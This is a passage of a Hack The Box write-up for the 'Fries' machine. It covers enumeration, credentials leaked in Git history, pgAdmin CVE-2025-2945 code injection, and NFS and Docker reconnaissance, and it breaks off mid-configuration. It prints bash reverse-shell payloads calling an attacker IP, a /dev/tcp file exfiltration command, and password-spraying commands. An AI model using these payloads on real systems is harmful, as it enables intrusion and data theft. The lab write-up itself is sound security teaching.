Skip to main content

HTB: Fries Writeup

Updated 65 min readMarkdown
HTB: Fries Writeup

Fries is one of those machines that reminds you why clicking Scan is never the end of the story. It starts innocently enough with a few exposed services and a set of credentials but it doesn’t take long for things to get interesting. A forgotten secret in Git history opens the door to PgAdmin, where a Remote Code Execution vulnerability provides the first foothold. From there, the investigation moves deeper into the infrastructure, uncovering an exposed NFS share, Docker certificate material and a misconfigured Docker API that turns a low-privileged account into root access on the Linux host.

But that is only half the story. The real fun begins when the compromised infrastructure reveals a path into Active Directory. Captured service credentials lead to gMSA access, which exposes dangerous Certificate Authority permissions. By chaining three AD CS weaknesses — ESC7, ESC6 and ESC16 — the attack progresses from certificate misconfiguration to impersonating the domain Administrator. What started with a simple scan eventually ends with full domain compromise and a SYSTEM shell. Fries certainly doesn’t make the journey boring — so, let’s get these Fries well done!🍟😋


About

  • OS: Windows
  • Difficulty: Hard
  • Release Date: 22 Nov, 2025

Environment Setup

  • Before beginning the assessment, a dedicated working directory is created to keep scan results, collected information, scripts and other artifacts organized throughout the engagement:
mkdir -p HTB/Fries && cd HTB/Fries

Connectivity Verification

  • The first step is verify that the target is reachable before proceeding with service enumeration:
ping -c 3 10.129.244.72
  • All three request receive responses, confirming basic network connectivity.

Network Enumeration

  • Nmap is used to identify open ports, running services, service versions and other useful information that may help determine the target’s underlying infrastructure:
sudo nmap -sCV --reason -oN fries.nmap 10.129.244.72

Understanding the Nmap Results

TTL Analysis

  • The scan reveals different TTL values across the exposed services:
    • TTL 127: Observed on several Windows-related services.
    • TTL 62: Observed on SSH and HTTP services running behind nginx.
  • These differences suggest that the services may be hosted on different operating systems or exposed through different network paths.

Open Ports and Services

  • Port 22 (SSH) — OpenSSH 8.9p1 running on Ubuntu.
  • Port 53 (DNS) — Simple DNS Plus.
  • Port 80 (HTTP) — nginx 1.18.0 on Ubuntu.
  • Port 88 (Kerberos) — Microsoft Windows Kerberos.
  • Port 135 (MSRPC) — Microsoft RPC.
  • Port 139 (NetBIOS) — NetBIOS Session Service.
  • Port 389 (LDAP) — Active Directory LDAP.
  • Port 443 (HTTPS) — nginx hosting the PWM application.
  • Port 445 (SMB) — Microsoft-DS for file sharing.
  • Port 464 (Kerberos Password Change) — Kerberos password management.
  • Port 593 (RPC over HTTP) — Microsoft Windows RPC.
  • Port 636 (LDAPS) — LDAP over TLS.
  • Port 2179 (VM Remote Desktop) — Potential Hyper-V related service.
  • Port 3268 (LDAP Global Catalog) — Active Directory Global Catalog.
  • Port 3269 (LDAPS Global Catalog) — Secure Global Catalog.
  • Port 5985 (WinRM) — Windows Remote Management over HTTP.
  • Several services immediately stand out. The presence of Kerberos (88), LDAP (389), SMB (445) and WinRM (5985), alongside DNS Service, strongly suggest an Active Directory Domain Controller.
  • Nmap also identifies the host as DC01, which is consistent with a domain controller naming convention.
  • Port 443 revealed another web service running over HTTPS. The most interesting detail is the SSL certificate’s Common Name: commonName=pwm.fries.htb
  • The Linux-related services, particularly SSH and nginx, suggest that additional Linux-hosted components are exposed through the same target address.

Domain and Hostname Identification

  • The LDAP service and certificate reveals the following information:
    • Domain: fries.htb
    • Domain Controller: DC01.fries.htb
    • NetBIOS-style domain name: FRIES
  • The HTTP service on port 80 also redirects requests to http://fries.htb/.

Kerberos and Clock Skew

  • The Kerberos service reveals the domain controller’s reported time.
  • Nmap also reports a clock skew of approximately five minutes. Clock skew represents the difference between the local system time and the remote server’s time.
  • This is particularly important when dealing with Kerberos authentication because Kerberos tickets contain timestamps and significant time differences between the client and domain controller can cause authentication failures.

SMB Security Configuration

  • SMB message signing is enforced for SMB 3.1.1 connections.
  • SMB signing provides message integrity by applying cryptographic signatures to SMB messages. Requiring signing helps protect against certain relay and man-in-the-middle attacks, although it does not eliminate every form of SMB-related attack.

Generating the Hosts File

  • With the domain and hostname identified, the next step is to ensure that the discovered names resolve to the target IP address.
  • NetExec provides a convenient option for generating host entries from SMB information:
nxc smb 10.129.244.72 --generate-hosts-file fries_hosts
  • The resulting entries can then be appended to the local /etc/hosts file:
cat fries_hosts | sudo tee -a /etc/hosts
  • This allows the local machine to resolve names such as DC01.fries.htb and fries.htb without relying on an external DNS resolve
  • The virtual host pwm.fries.htb was also added to /etc/hosts file:

Synchronizing Time with the Domain Controller

  • Since the Nmap scan identified a clock difference, the local system time is synchronized with the target:
sudo ntpdate 10.129.244.72

Validating the Assume-Breach Credentials

  • The assessment proceeds with a set of assume-breach credentials. Rather than immediately assuming the credentials are valid, NetExec is used to test them against several exposed Active Directory services.

SMB Authentication

nxc smb DC01.fries.htb -u d.cooper@fries.htb -p 'D4LE11maan!!'
  • The authentication attempt returns STATUS_LOGON_FAILURE. This indicates that the SMB server rejected the supplied authentication credentials.

SMB Authentication over Kerberos

  • The next attempt uses Kerberos instead of the default authentication mechanism:
nxc smb DC01.fries.htb -u d.cooper@fries.htb -p 'D4LE11maan!!' -k
  • The -k option instructs NetExec to use Kerberos authentication.
  • The attempt returns KDC_ERR_PREAUTH_FAILED indicating Kerberos pre-authentication failure.
  • The failure suggest that the supplied authentication material was not accepted during the pre-authentication process. An incorrect password is one possible explanation, although other account and authentication conditions may also be relevant.

LDAP Authentication

nxc ldap DC01.fries.htb -u d.cooper@fries.htb -p 'D4LE11maan!!'
  • The authentication attempt fails, indicating that the supplied credentials are not accepted through the LDAP authentication interface.

LDAP Authentication over Kerberos

nxc ldap DC01.fries.htb -u d.cooper@fries.htb -p 'D4LE11maan!!' -k
  • The result returns KDC_ERR_PREAUTH_FAILED indication the KDC rejects the pre-authentication request.
  • This reinforces the observation that the supplied credentials are not currently usable through the tested Kerberos authentication flow.

WinRM Authentication

  • Finally, the credentials are tested against Windows Remote Management:
nxc winrm DC01.fries.htb -u d.cooper@fries.htb -p 'D4LE11maan!!'
  • The authentication attempt fails, meaning that the supplied credentials do not provide access through WinRM.
  • The supplied credentials have not been successfully validated against SMB, LDAP or WinRM, and the Kerberos attempts have returned pre-authentication failures.
  • Rather than forcing authentication attempts with credentials that have not been verified, the investigation should continue through the other exposed services and available information sources.

Web Enumeration

  • With the initial network enumeration complete, attention shifts to the Web services exposed on ports 80 and 443.
  • The first application is hosted at http://fries.htb/ which was identified through the HTTP redirect discovered during the Nmap scan.

Enumerating the Main Website

  • Navigating to http://fries.htb/ presents a relatively simple restaurant-themed homepage.
  • The website contains several sections and pages:
    • Home Page: Displays the restaurant’s landing page, Featured Dishes and some other information about the restaurant.
    • About: Provides information about the company, their philosophy and some staff members and is located at http://fries.htb/about/
  • Menu: Lists the available meals and dietary accommodations and is located at http://fries.htb/menu/.
  • Contact Us Section: Displays the email address info@fries.htb.
  • Other navigation links simply append a # fragment to the current URL without taking the browser to another page.
  • Viewing the page source does not reveal any significant information, so the investigation moves towards examining the HTTP response headers and identifying the underlying web technology.

Enumerating the HTTPS Application

  • The Nmap scan also identified an HTTPS service on port 443, with a redirect or application hostname pointing towards https://pwm.fries.htb
  • Navigating to this address presents a PWM Password Self Service application.
  • PWM (Password Management) is an application designed to provide password self-service functionality, allowing users to perform password-related operations such as changing or resetting their passwords, depending on its configuration.
  • Upon accessing the application, a configuration notice is displayed.
  • The notice explains that the application is currently operating in Configuration mode. In this mode, configuration changes can be made without first authenticating against an LDAP directory.
  • However, normal end-user functionality is unavailable while the application remains in this mode.
  • The notice also explains that once the LDAP directory configuration has been verified, the Configuration manager can be used to restrict configuration access and prevent unauthorized modifications.
  • Once the configuration access is restricted, further changes require authentication against the configured LDAP directory.
  • The login interface provides two configuration-related options:
    • Configuration Manager
    • Configuration Editor
  • The interface included a small version dropdown revealing PWM v2.0.8
  • Both options prompt for a configuration password when accessed.

Identifying the Web Technology

  • The curl utility can be used to retrieve HTTP response headers without downloading the entire page:
curl -I http://fries.htb/
  • The response confirms that the application is served through nginx 1.18.0 running on Ubuntu.
  • However, the headers do not reveal the actual application framework. nginx is acting as the web server or reverse proxy and the application behind it may use an entirely different technology.
  • A useful trick is to request a non-existent resource and inspect the resulting error page:
curl http://fries.htb/nato
  • The structure of the error page resembles Flask’s default 404 response.
  • This provides an early indication that the application may be built using Python Flask. It is not definitive proof, but it becomes a useful lead to verify during further enumeration.
  • Inspecting the PWM HTTP Response with the -k option instructs curl to continue connecting even when the server’s TLS certificate cannot be verified.
  • Once again, nginx is exposed as the HTTP server, but the response headers do not provide enough information to identify the application’s underlying implementation.

Investigating the PWM LDAP Configuration Error

  • The previously discovered assume-breach credentials are tested against the PWM login interface.
  • Instead of successfully authenticating, the application displays an error.
  • Rather than reporting a simple authentication failure, PWM indicates that it cannot establish a trusted connection to the LDAP server.
  • The error identifies several useful configuration details:
    • LDAP Server: dc01.fries.htb
    • LDAP Port: 636
    • Protocol: LDAPS
    • Bind Account: CN=svc_infra,CN=Users,DC=fries,DC=htb
    • Error: Certificate does not match PWM trust store
  • The application is configured to communicate with Active Directory using LDAPS, which encrypts LDAP communication using TLS.
  • However, the certificate presented by the LDAP server does not match a certificate trusted by PWM’s configured trust store.
  • This prevents PWM from establishing the LDAP connection.
  • An important distinction is that this is an application-to-directory connectivity and certificate validation problem, not evidence that the supplied user credentials are incorrect.
  • The bind account svc_infra is also worth recording because service accounts frequently provide useful insight into the architecture and permissions of an Active Directory environment.

Searching for Known PWM Vulnerabilities

  • Since the application version has been identified as PWM 2.0.8, the next step is to investigate whether publicly documented vulnerabilities or exploits affect this release.
  • Searchsploit provides a convenient way to search the local Exploit Database collection:
searchsploit PWM
  • The results contain unrelated entries that happen to include the term PWM.
  • The search is therefore narrowed to the identified version:
searchsploit PWM v2.0.8
  • No matching exploit is identified in the local Exploit Database collection.

Researching PWM Documentation and Source Code

  • The investigation moves beyond the local exploit database to examine publicly information.
  • The National Vulnerability Database (NVD) and CVE Details are checked for vulnerabilities associated with the identified application and version. These searches do not reveal a relevant vulnerability that immediately explains a potential attack path.
  • The official PWM GitHub repository provides another useful source of information.
  • Examining the project’s source code and documentation reveals that PWM is primarily a Java-based web application.
  • This is useful architectural information to retain because Java application behavior, configuration management, dependencies and deployment characteristics may become relevant during deeper investigation.
  • The official documentation also provides a reference library covering PWM configuration and functionality.
  • At this stage, no direct exploit has been identified, so the application remains an enumeration lead rather than a confirmed entry point.

Inspecting the TLS Certificate

  • TLS certificates can reveal more than the encryption details of a web service. They may also expose hostnames, organizational information and contact details that are useful during reconnaissance.
  • Since PWM is accessible over HTTPS, inspecting its certificate is worthwhile.
  • The certificate reveals another email address web@fries.htb
  • This address is added to the enumeration notes alongside the previously discovered info@fries.htb
  • The application also exhibits intermittent timeouts after remaining accessible for a few minutes.
  • At this point, the PWM application has revealed its version, its dependency on LDAPS, a service account used for directory binding and additional contact information. However, it has not yet provided a direct path forward.

Virtual Host Enumeration

  • The initial web enumeration has identified the main website and the PWM application, but there may be additional applications hosted on the same web server.
  • Web servers frequently use name-based virtual hosting, allowing multiple websites to share the same IP address and port.
  • Virtual host enumeration is therefore performed to identify additional subdomains associated with fries.htb.

Enumerating Virtual Hosts with Gobuster

gobuster vhost --url http://fries.htb -wordlist /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain --threads 100

Enumerating Virtual Hosts with Ffuf

  • For those who prefer FFUF, the equivalent command is:
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://fries.htb -H 'Host: FUZZ.fries.htb' -ac
  • Both tools identified the same hidden virtual host code.fries.htb
  • The newly discovered hostname is added to /etc/hosts so that it can be accessed locally.

Enumerating Gitea

  • Navigating to http://code.fries.htb reveals a Gitea instance.
  • Gitea is a self-hosted Git service that provides functionality similar to GitHub, including repository management, source code hosting, issue tracking and collaboration features.

Exploring the Gitea Instance

  • The first step is to inspect the publicly accessible content.
  • Clicking the Explore button reveals that there are no publicly accessible repositories.
  • However, a sign-in option is available.
  • Since the assume-breach credentials previously failed against tested Active Directory services, they are worth trying against this newly discovered application.
  • The credentials are entered into the Gitea login page and they work!
  • This is an important development because it confirms that the assume-breach credentials are valid for Gitea, despite the earlier failures against SMB, LDAP and WinRM.
  • This also demonstrates why authentication failures against one service should not automatically invalidate credentials across an entire environment. Different applications may use different authentication mechanisms, identity providers or account configurations.
  • The successful credentials are added to the assessment notes

Enumerating Private Repositories

  • After authentication, the Gitea interface reveals a single repository belonging to the user dale.
  • Opening the repository revealed a README.md describing the application's architecture.
  • The README confirms that the repository contains the source code for the restaurant website previously discovered at http://fries.htb
  • This establishes a direct relationship between the public-facing website and the newly discovered source code repository.
  • The README provides several useful architectural details:
  • Application Overview
    • Official web application for Fries.
    • Landing page containing company highlights.
    • About section showcasing the founder and staff.
    • Menu section containing categorized food items.
    • Integration with PostgreSQL database for menu and user data.
  • Technology Stack
    • Programming Language: Python 3
    • Web Framework: Flask
    • Template Engine: Jinja2
    • Database: PostgreSQL
    • Containerization: Docker
    • Deployment: Docker Compose
  • The README also contains deployment instructions, including screenshots showing commands executed from a terminal prompt belonging to the svc user.
  • This reveals another potentially useful username, svc, as well as the hostname web.
  • The deployment documentation also identifies a database management interface http://db-mgmt05.fries.htb.

Examining the Commit History

  • While the README provides useful information about the application’s architecture, the repository’s commit history turns out to be considerably more interesting.
  • The repository contains 11 commits.
  • Git preserves project history, allowing developers to track changes to files over time. This history can also expose information that was removed from the current version of the source code.
  • A common security mistake occurs when developers remove sensitive information from a file but fail to remove the original commit containing that information.
  • In such cases, the sensitive data may remain accessible through the repository’s historical commits.
  • Initial Commit — Exposed Database Credentials
    • The initial commit, authored by Dale Cooper, contains the database connection string and the application secret key.
  • The Database Connection String reveals database authentication credentials, the database name and an internal IP address that appears to belong to a Docker network.
  • The application secret key is another sensitive configuration value.
  • In Flask applications, the secret key is commonly used to sign session cookies and support other security-related functionality.
  • If exposed, its impact depends on how the application uses the key and whether an attacker can exploit that usage. It should therefore be treated as sensitive configuration material.
  • Third Commit — Attempted Credential Removal
    • The third commit, also authored by Dale Cooper, reveals an attempt to correct the mistake.
  • The database credentials are moved into an environment file, and the file is added to .gitignore.
  • Although this is an improvement for future commits, adding a file to .gitignore does not remove sensitive information from commits that already exist.
  • Git retains historical versions of tracked files until the history is explicitly rewritten and the affected repository copies are appropriately cleaned up.
  • Consequently, the original credentials remain accessible through the initial commit.
  • Other commits also reveal updates to contact information and the addition of images embedded in the README.
  • At this stage, the repository has exposed several useful details:
    • Application usernames.
    • Database Credentials.
    • An application secret key.
    • Internal Docker network information.
    • Database name and service details.
    • Additional hostnames and deployment information.
  • The repository has effectively provided an architectural overview of the environment, along with credentials that were never meant to be publicly accessible.

Organizing the Discovered Information

  • Before moving forward, the newly discovered hostname and potential usernames and passwords are organized for subsequent enumeration.
  • The database management hostname is added to /etc/hosts.
  • A username and password wordlists are created.

Enumerating the PgAdmin Web Interface

  • The README revealed another application hosted at http://db-mgmt05.fries.htb
  • Navigating to this hostname presents a PgAdmin 4 login page.
  • PgAdmin is a web-based administration and management interface for PostgreSQL databases. It provides functionality for managing database servers, browsing databases, executing SQL queries and administering database objects.

Authenticating to PgAdmin

  • The login page presents an opportunity to test the previously discovered assumed-breach credentials.
  • The credentials work again!
  • This confirms that the same credentials are accepted by both Gitea and PgAdmin.
  • The successful authentication is particularly useful because PgAdmin provides access to database administration functionality that was not directly available through the public-facing restaurant website.

Never underestimate credential reuse. Organizations frequently enforce password policies but fail to prevent employees from reusing the same credentials across multiple services. One compromised account can quickly become a foothold into several systems.

Accessing the Database Server

  • After signing in, the PgAdmin interface provides a Servers section.
  • Expanding the server entry prompts for a password before allowing access to the PostgreSQL instance.
  • Fortunately, the initial Gitea commit already exposed the database connection string and entering the exposed password successfully establishes access to the PostgreSQL server.
  • Supplying the password PsqLR00tpaSS11 successfully unlocks the PostgreSQL server.

Enumerating Available Databases

  • With full access established, we can now enumerate the available databases.
  • The server contains three databases:
    • gitea: Associated with the Gitea application.
    • postgres: The default PostgreSQL maintenance database.
    • ps_db: The application database identified in the exposed connection string.

Updating our Credentials

Reviewing Database Contents

The gitea database contains user records, including:

  • administrator
  • dale

Querying the user table:

Obtaining Credentials:

  • Both accounts contain hashed passwords. Although these hashes may prove useful later, there is no immediate need to attempt cracking them.
  • These values are recorded for potential future analysis, although their exact format and usability still need to be established.
  • At this stage, attention shifts towards the PgAdmin application itself.
  • The presence of a web-based database administration interface introduces another possible avenue for further access

Identifying the PgAdmin Version

  • Before investigating potential vulnerabilities, the exact PgAdmin version is identified.
  • Within the application, navigating to Help → About pgAdmin 4 reveals the installed version as pgAdmin 4 v9.1.
  • The version is recorded for further research.
  • This helps determine whether publicly documented vulnerabilities or known application weaknesses may apply to the deployed release.

Investigating PgAdmin Query Tool Command Execution

  • Further investigation focuses on the PgAdmin Query Tool.
  • The Query Tool provides an interface for executing SQL statements against the connected PostgreSQL server.
  • One interesting PostgreSQL capability is the COPY command, which allows data to be imported from or exported to files.
  • Under certain conditions, PostgreSQL’s COPY … PROGRAM functionality can execute operating-system commands through a server-side process:
CREATE TEMP TABLE shell(command text);  
COPY shell(command) FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.14.176/9001 0>&1"';
  • This capability has security implications when an attacker can execute arbitrary SQL statements with sufficient database privileges.
  • In the observed environment, the Query Tool provides an opportunity to investigate this behavior.
  • The COPY functionality is tested and command execution is successfully obtained.
  • This demonstrates that access to a database administration interface can have consequences beyond simply reading or modifying database records.
  • The effective impact depends on the PostgreSQL privileges of the connected role, the server configuration and the permissions of the operation-system account running the database service.

Inspecting the PostgreSQL Environment

  • After obtaining command execution, environment variables are inspected to understand the database container’s configuration:
env
  • Among the returned values is the PostgreSQL password previously recovered from the Gitea repository.
  • The environment inspection does not reveal additional information beyond what has already been obtained from the exposed Git history.
  • The successful command execution also establishes an important distinction: access to PgAdmin’s Query Tool, combined with sufficient PostgreSQL privileges, can potentially cross the boundary between database administration and operating-system command execution.
  • The investigation has now progressed from a seemingly ordinary restaurant website to source code disclosure, database credential exposure and command execution through a PostgreSQL administration interface.

Exploiting PgAdmin— CVE-2025–2945

  • Rather than blindly probing for weaknesses, a more efficient approach is to identify the exact application version and determine whether any publicly documented vulnerabilities affect it.
  • Since we know the server is running PgAdmin 4 version 9.1, the next step is researching known vulnerabilities.
  • Searching the National Vulnerability Database (NVD) quickly reveals an interesting candidate CVE-2025–2945.
  • The vulnerability description states:

Remote Code Execution security vulnerability in pgAdmin 4 (Query Tool and Cloud Deployment modules). The vulnerability is associated with the 2 POST endpoints; /sqleditor/query_tool/download, where the query_commited parameter and/cloud/deployendpoint, where the high_availability parameter is unsafely passed to the Python eval() function, allowing arbitrary code execution. This issue affects pgAdmin 4: before 9.2.

  • This immediately stands out because eval() should almost never process untrusted user input.

Remote Code Execution security vulnerability in pgAdmin 4 (Query Tool and Cloud Deployment modules). The vulnerability is associated with the 2 POST endpoints; /sqleditor/query_tool/download, where the query_commited parameter and /cloud/deploy endpoint, where the high_availability parameter is unsafely passed to the Python eval() function, allowing arbitrary code execution.

CVE-2025–2945 — Remote Code Execution in pgAdmin 4

  • This vulnerability affects PgAdmin 4 versions earlier than 9.2 and allows remote code execution through two POST endpoints:
    • /sqleditor/query_tool/download
    • /cloud/deploy
  • The vulnerability description identifies two parameters that are unsafely passed to Python’s eval() function:
    • query_commited in the Query Tool download endpoint.
    • high_availability in the Cloud Deployment endpoint.
  • Python’s eval() function evaluates a string as a Python expression. Passing untrusted user-controlled input to this function without proper validation can allow an attacker to execute arbitrary Python code within the application’s execution context.
  • This is a classic example of code injection, where externally controlled input is interpreted as executable code rather than ordinary data.

Understanding the Vulnerability

  • The vulnerable implementation contains the following code:
high_availability = 'REGIONAL' if eval(args.high_availability) else 'ZONAL'
  • Another affected code path contains:
query_commited = (eval(value) if isinstance(value, str) else value)
  • The second implementation is particularly interesting because it evaluates the supplied value whenever it is a string.
  • Instead of treating the parameter as ordinary application data, the application interprets it as a Python expression.
  • If an attacker can control this parameter through an HTTP request, arbitrary Python expressions can potentially be evaluated within the PgAdmin process.
  • The identified PgAdmin version 9.1, falls within the affected version range.

Intercepting the Vulnerable Request

The exploitation will target the following endpoint:

/sqleditor/query_tool/download
  • Since authentication to PgAdmin has already been established, the Query Tool can be accessed through any of the available databases.
  • The first step is to open the Query Tool and execute a simple SQL statement:
SELECT 1;
  • This query simply returns the integer 1. It does not modify any database records and serves as a convenient way to generate output for the download functionality.
  • After executing the query, the Data Output tab appears below the Query Tool. The tab provides an option to download or save the query results (5).
  • Before triggering the download, Burp Suite is configured to intercept the HTTP request.
  • Clicking the download option generates a POST request.
  • The request contains a JSON body and it is sent to the repeater for further enumeration:
{"filename":"data-1786063576782.csv","query_commited":false}
  • The important parameter is query_commited.
  • As established from the vulnerable source code, this parameter is passed to Python’s eval() function.
  • Consequently, replacing its Boolean value with a Python expression provides an opportunity to test whether arbitrary code execution is possible.

Confirming Remote Code Execution

  • Before attempting to obtain a reverse shell, a relatively harmless proof of concept is used to confirm that the vulnerable parameter is evaluated:
{"filename":"data-1786063576782.csv","query_commited":"__import__('os').system('sleep 2')"}
  • The command causes the server-side process to pause for approximately two seconds.
  • The modified request is forwarded and the expected delay is observed.
  • This confirms that the supplied Python expression is being evaluated on the server.

Whenever possible, start with non-destructive payloads before moving to more intrusive actions.

Obtaining a Reverse Shell

  • With remote code execution confirmed, the next objective is to establish an interactive connection back to the attacking machine.
  • The intercepted request is modified again, this time replacing the sleep command with a Bash reverse shell:
{"filename":"data-1786063576782.csv","query_commited":"__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.10.14.176/9001 0>&1\"')"}
  • Before forwarding the modified request, a Netcat listener is started on the attacking machine:
nc -lnvp 9001
  • Once the modified request is forwarded, the PgAdmin application executes the command and a reverse connection is received.
  • An interactive shell is now available on the target

Upgrading the Shell

  • The initial reverse shell is functional, but it lacks some of the features expected from a proper terminal.
  • Python is checked to determine whether it is available:
which python
  • It’s available and is used to spawn a pseudo-terminal:
python3 -c 'import pty;pty.spawn("/bin/bash")'
  • The shell is then suspended using Ctrl + z.
  • On the attacking machine, terminal settings are adjusted:
stty raw -echo; fg
  • Finally, the terminal type is configured:
export TERM=xterm
  • This helps applications running within the shell recognize the terminal capabilities.

Enumerating the Compromised Environment

  • Running whoami identifies the current user as pgadmin.
  • This indicates that command execution is taking place within the PgAdmin application’s execution context.
  • The environment variables are also inspected:
env
  • Unlike the previous PostgreSQL environment inspection, this time the output reveals another useful credential which exposes the default password configured for the PgAdmin application.
  • The password is recorded for subsequent authentication testing.
  • Additional basic enumeration is performed such as:
    • Listing the contents of the current working directory.
    • Checking the current user.
    • Enumerating the groups associated with the current account.
    • Examining Network Interfaces.
  • Enumerating network interfaces is useful for understanding the environment in which PgAdmin is running, particularly because the application and PostgreSQL services appear to be deployed using Docker.

Extracting PgAdmin's Internal Database

  • Further enumeration focuses on PgAdmin’s local application data.
  • PgAdmin maintains an internal SQLite database containing application-related information, including user accounts, configuration data and other application metadata.
  • In this environment the database is located at /var/lib/pgadmin/pgadmin4.db
  • Since the database may contain useful authentication and configuration information, it is transferred to the attacking machine for offline examination.
  • A Netcat listener is first started on the attacking machine:
nc -nlvp 9002 > pgadmin4.db
  • This listens on TCP port 9002 and redirects the received data into a local file name pgadmin4.db
  • On the compromised machine, the database is transferred using Bash’s TCP redirection:
cat pgadmin4.db > /dev/tcp/10.10.14.176/9002
  • The command reads the SQLite database and sends it contents to the listening Netcat process.

Inspecting the SQLite Database

  • With the database successfully transferred, SQLite is used to inspect its contents:
sqlite3 pgadmin4.db .dump
  • The resulting output contains substantial amount of information, including several sensitive application keys.
  • The database also contains encrypted password values and other application information.
  • Although these values may be useful during deeper analysis, the immediate objective is to identify credentials that can provide access to another service.
  • The recovered values are documented, but the investigation moves towards testing the newly discovered PgAdmin password against the other exposed services.

Gaining SSH Access

  • At this stage, several usernames and passwords have been collected from different parts of the environment.
  • The available credentials are tested against SSH to determine whether any of them provide access to the underlying Linux environment.
  • Two tools are considered for this task: Hydra and NetExec.

Password Spraying with Hydra

  • Hydra is a network login brute-forcing tool that supports multiple authentication protocols, including SSH:
hydra -L users.txt -P passwords.txt  -f -V ssh://10.129.244.72
  • After a short while, Hydra returns a successful authentication:
[22][ssh] host: 10.129.244.72   login: svc   password: Friesf00Ds2025!!  
1 of 1 target successfully completed, 1 valid password found
  • This is an important development because the credentials recovered from the PgAdmin environment provide access to the SSH service exposed on port 22.

Password Spraying with NetExec

  • The same credential combination can be tested using NetExec:
nxc ssh DC01.fries.htb -u users.txt -p passwords.txt --ignore-pw-decoding
  • The results confirm what Hydra already found:
SSH         10.129.244.72   22     DC01.fries.htb   [+] svc:Friesf00Ds2025!!  Linux - Shell access!
  • NetExec confirms that the svc account can authenticate successfully over SSH and obtain a shell access.
  • The result also reinforces an important observation: the same target IP exposes services associated with both Windows Active Directory and Linux environment.

Updating the Credentials Notes

  • The newly discovered SSH credentials are added to the credentials file.
  • At this point, the investigation has progressed from an exposed Git repository to PgAdmin remote code execution and finally to valid SSH credentials.

Establishing an SSH Session

  • With valid credentials confirmed, we can now establish an interactive shell:
ssh svc@fries.htb
  • Once connected, it’s always worth performing a few quick sanity checks:
  • The session is running as svc, with no additional supplementary groups listed. The fries.htb directory is also present in the user’s working directory, which is consistent with the web application discovered earlier.
  • Rather than immediately searching for files, it is useful to understand what services and processes are running on the host. Process enumeration can reveal infrastructure components that may not have been obvious during the initial network scan.

Enumerating Running Processes

ps -ef --forest
  • Among the output are several NFS kernel processes.
  • The presence of multiple nfsd processes suggests that the host is running an NFS server. Network File System (NFS) allows directories on one machine to be exported and accessed by other machines over a network. Since shared directories can expose sensitive files or writable locations, this service deserves further investigation.
  • Another interesting process is the Docker daemon:
root         961       1  0 10:38 ?        00:00:08 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock --authorization-plugin=authz-broker --tlsverify --tlscacert=/etc/docker/certs/ca.pem --tlscert=/etc/docker/certs/server-cert.pem --tlskey=/etc/docker/certs/server-key.pem -H=127.0.0.1:2376
  • A few details stand out:
    • Docker is running as root.
    • The daemon is configured with TLS verification.
    • It uses an authorization plugin named authz-broker.
    • It listens on 127.0.0.1:2376, making the configured TCP endpoint local to the host.
  • The Docker configuration is worth remembering, particularly because it references certificates under /etc/docker/certs/. These may become relevant when investigating how Docker access is controlled.
  • The process list also reveals several RPC-related services:
_rpc         561       1  0 Aug06 ?        00:00:00 /sbin/rpcbind -f -w  
systemd+     562       1  0 Aug06 ?        00:00:03 /lib/systemd/systemd-timesyncd  
root         568       1  0 Aug06 ?        00:00:00 /usr/sbin/blkmapd  
root         570       1  0 Aug06 ?        00:00:00 /usr/sbin/rpc.idmapd  
root         572       1  0 Aug06 ?        00:00:00 /usr/sbin/nfsdcld  
root         573       1  0 Aug06 ?        00:00:00 /usr/sbin/rpc.gssd
  • The rpcbind service is particularly relevant because NFS relies on RPC services for certain operations, including mount discovery. With NFS and its supporting services confirmed, the next step is to identify which directories are exported.

Enumerating NFS Exports

  • The showmount utility can query an NFS server for information about its exports and mounted directories.
  • To display all remote mounts:
showmount -a
  • To display the server’s exported filesystem list:
showmount -e
  • To display directories that are currently mounted by clients:
showmount -d
  • However, these commands do not return useful information when executed directly against the local session in this environment. The NFS configuration itself provides another avenue for investigation.
  • Fortunately, Linux stores the export configuration locally inside /etc/exports
cat /etc/exports
  • The output:
/srv/web.fries.htb *(rw,no_subtree_check,insecure)
  • The configuration reveals an NFS export at /srv/web.fries.htb.
  • The wildcard * indicates that the export is available to all client hosts, subject to the remaining export rules. The rw option allows read and write access, while no_subtree_check disables subtree checking. The insecure option permits client connections from non-privileged source ports.
  • An export being available to all clients does not automatically mean every file inside it is readable. Filesystem ownership, group membership and permissions still apply. That distinction becomes important during the next stage.

Misconfigured NFS exports are a recurring security issue. An export that grants read/write access to all clients can significantly increase an attacker’s opportunities, particularly when combined with weak permissions or incorrect UID/GID mappings.

Inspecting the Exported Directory

  • The exported directory can be inspected directly:
ls -la /srv/web.fries.htb
  • The output reveals three directories with the structure below:
    • certs (root:infra managers, 770): Accessible only to root and members of the infra managers group.
    • shared (root:root, 777): Readable, writable and accessible to everyone.
    • webroot (svc:svc, 740): Restricted to the owner and root.
  • Attempting to list the certificate directory results in a permission error.
  • The shared directory is empty, while webroot is restricted by its permissions. The certs directory, however, is particularly interesting because it is owned by the infra managers group.
  • An attempt to find this group in /etc/group does not return a matching entry. This is not necessarily evidence that the group does not exist. In an Active Directory-integrated Linux environment, user and group information can be resolved dynamically through services such as System Security Services Daemon (SSSD) rather than being stored directly in local files.
  • The getent utility provides a way to query the system’s configured identity sources.
  • This confirms that the group exists and contains three members:
    • m.hannigan
    • d.cooper
    • d.wilson
  • The group has a numeric GID of 59605603. Since d.cooper is already known from the earlier Gitea access, checking this account’s identity is a reasonable next step.
  • The output confirms that d.cooper is a member of infra managers. More importantly, it provides the numeric UID and GID associated with the account:
    • UID: 59602614
    • GID: 59600513
  • Linux filesystem permissions are ultimately evaluated using numeric user and group IDs. This means that if a process runs with the corresponding UID and GID, it can be evaluated against the same ownership permissions, even if the account is not locally defined on the attacking machine.
  • This provides a possible way to access the restricted directory.

Accessing the NFS Export Through SSH Tunnelling

  • Although we have identified the NFS export, it is only accessible from the internal network.
  • SSH port forwarding provides a way to reach the service through the authenticated svc account.
  • The current SSH session is closed and re-established with two forwarding options:
ssh -L 2049:127.0.0.1:2049 -D 1080 svc@fries.htb
  • -L 2049:127.0.0.1:2049 creates a local TCP forward from port 2049 on the attacking machine to port 2049 on the remote host’s loopback interface.
  • -D 1080 creates a local SOCKS proxy on port 1080, allowing compatible tools to route traffic through the SSH connection.
  • The SOCKS proxy is used with ProxyChains to access services through the SSH tunnel.
  • First, the ProxyChains configuration is checked:
cat /etc/proxychains4.conf | grep -Ev '^#|^$'
  • The ProxyChains configuration is straightforward:
strict_chain  
